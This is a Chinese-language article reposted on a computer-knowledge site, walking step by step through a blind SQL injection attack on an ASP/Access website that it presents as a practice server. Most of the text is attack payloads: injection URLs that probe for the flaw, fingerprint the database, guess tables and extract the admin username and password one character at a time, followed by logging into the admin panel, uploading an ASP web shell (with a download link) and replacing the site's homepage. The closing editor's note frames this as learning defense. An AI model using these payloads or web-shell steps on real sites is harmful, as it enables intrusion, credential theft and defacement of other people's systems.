熱點推薦:
您现在的位置: 電腦知識網 >> 網絡技術 >> 正文

跨站式SQL注入

2013-09-12 16:07:30  來源: 網絡技術 

  前陣子麥當勞連續被黑事件引起了我的關注,想看看到底是怎麼回事。上網找了找資料,發現此類攻擊屬於典型的跨站式SQL注入。
  由於相當大一部分程序員在編寫網頁程序代碼的時候,沒有對用戶輸入數據的合法性進行判斷,這就使整個網站都存在安全隱患。黑客可以提交一段數據庫查詢代碼,然後根據程序返回的結果,獲得他想要的數據,這就是所謂的SQL Injection,即SQL注入。
Step1:判斷是否存在漏洞
  我們以cp.feedom.net網站為例來測試判斷。比如下面這兩個網址:
  1.http://cp.feedom.net/detail.asp?n_id=348 and 1=1
  2.http://cp.feedom.net/detail.asp?n_id=348 and 1=2
  這就是經典的1=1、1=2測試法了。怎麼判斷呢?看看上面網址返回的結果就知道了,有注入漏洞的表現為:
  1.正常顯示;
  2.提示BOF或EOF(程序沒做任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內容為空。
Step2:判斷數據庫類型並確定注入方法
  ASP最常搭配的數據庫是Access和SQLServer。怎麼讓程序告訴你網站使用的什麼數據庫呢?在IE中輸入http://cp.feedom.net/detail.asp?n_id=348 and user>0,返回的錯誤信息是JET就代表使用的是Access數據庫;返回的錯誤信息是OLE DB就代表使用的是SQLServer數據庫。tW.wINGwIT.Com
Step3:猜解數據庫中你想得到的信息
  根據注入參數類型,在腦海中重構SQL語句的原貌,上面這個例子的參數類型是:ID=348,這類注入的參數類型是數字型,SQL語句原貌大致如下:Select * from 表名 where 字段=348。
1.猜解數據庫中的表名
  在地址欄中輸入http://cp.feedom.net/detail.asp?n_id=348 And (Select Count(*) from Admin)>=0,返回結果頁面正常,說明數據庫中存在admin表。
  輸入http://cp.feedom.net/detail.asp?n_id=348 And (Select Count(admin) from Admin)>=0,通過類似上面指令的查詢,你會發現admin表中存在admin字段、password字段和a_id字段。
2.檢查ID是否存在
  輸入http://cp.feedom.net/detail.asp?n_id=348 and exists (select a_id from admin where a_ID=1)。
  實戰當中,如果返回的頁面不正常,就表示ID不存在,你就必須多花些時間猜解了。
Step4:猜解數據庫中的值
1.用戶名長度
  已知表admin中存在username字段,我們取第一條記錄,測試長度:http://cp.feedom.net/detail.asp?n_id=348 and (select top 1 len(username) from Admin)>0。
  如果top 1的username長度大於0,則條件成立;接著就是>1、>2這樣測試下去,一直到條件不成立為止。
  1)http://cp.feedom.net/detail.asp?n_id=34
  8 and (select top 1 len(admin) from Admin)>4
  2)http://cp.feedom.net/detail.asp?n_id=34
  8 and (select top 1 len(admin) from Admin)>5
  第1條指令返回正常,第2條指令返回錯誤,說明該用戶名長度為5位。
2.猜解用戶名
  用戶名長度知道了,現在我們要分析一下它的值。在得到username的長度後,用mid(username,N,1)截取第N位字符,再通過asc(mid(username,N,1))得到ASCII碼。
  輸入http://cp.feedom.net/detail.asp?n_id=348 and exists (select a_id from admin where asc(mid(admin,1,1))=97 and a_ID=1),返回正常,表示用戶名的第一位值是a,如果不正常,大家對照ASCII碼表慢慢找吧,這兒的a的ASCII碼為97。
  依此類推,最後出來的值為admin。
  提示:如果你手頭並無ASCII碼表,你也可到http://www.bitscn.com/readme/ASC2.html去查尋對照。
3.猜解密碼長度
  輸入http://cp.feedom.net/detail.asp?n_id=348 and exists (select a_id from admin where len(password)=8 and a_ID=1),原理同上面猜用戶名長度的一樣,我們猜到密碼的長度為8位。
4.猜解密碼值
  輸入http://cp.feedom.net/detail.asp?n_id=348 and exists (select a_id from admin where asc(mid(password,1,1))=97 and a_ID=1),最後得出的密碼為:admin888。
  相信你讀到這兒也挺累啦:)現在你該很清楚地了解了數據庫的結構吧,如圖1所示。


 
Step5:登錄管理後台並上傳ASP木馬
  1.在http://cp.feedom.net網站找到管理登錄口,或直接輸入http://cp.feedom.net/m_login.asp,登錄後台管理頁面。
  2.點擊添加新聞,選中“設為首頁圖片新聞”選項。
  3.點擊上傳圖片,在彈出的對話框中選擇你的木馬,點擊“提交”即可上傳(ASP木馬下載:http://cp.feedom.net/muma.rar)。
  注意:為了保障讀者能有一個良好的研究測試環境,筆者對該目錄進行了權限設定,不允許同名的文件覆蓋。也就是說,如果大家使用筆者提供的木馬程序,就可以不再上傳了(如果要上傳須改文件名)。當然“良駒”不止一匹,大家也可以上傳自己喜歡,操作順手的木馬程序。
Step6:利用ASP木馬替換網站首頁
  現在我已上傳了一個木馬文件到uploadtest目錄,訪問:http://cp.feedom.net/uploadtest/muma.asp,密碼是admin888,點擊上面菜單的“Stream”,進入如圖2所示的畫面。


 
  利用“查看”功能可以查閱服務器上的目錄架構以及文件情況,這個界面的最大功能是上傳文件到目標目錄。現在我上傳了一個index.htm文件保存為:D:\www\cp.feedom.net\ct\index.htm,CT這個目錄就是網站ct.feedom.net的根目錄,通過http://ct.feedom.net/index.htm可以檢查你上傳的文件是否成功。
  注意:由於該服務器僅作為讀者練習使用,所以對它做了權限控制,你只能對/ct這個目錄進行寫操作。
編後:
  只有了解了攻擊才能懂得如何去防守。根據本文介紹的方法,雖然大家可以感受一次攻擊的全部流程和方法,但是入侵攻擊的方法並不僅限於此。例如木馬的種類繁多,本文作者推薦的是一款極易上手的木馬程序,但還有很多木馬的威力更為強大,甚至可以完全控制一台主機。

 
From:http://tw.wingwit.com/Article/Network/201309/1047.html
  • 上一篇文章:

  • 下一篇文章:
  • 相關文章
      没有相关文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.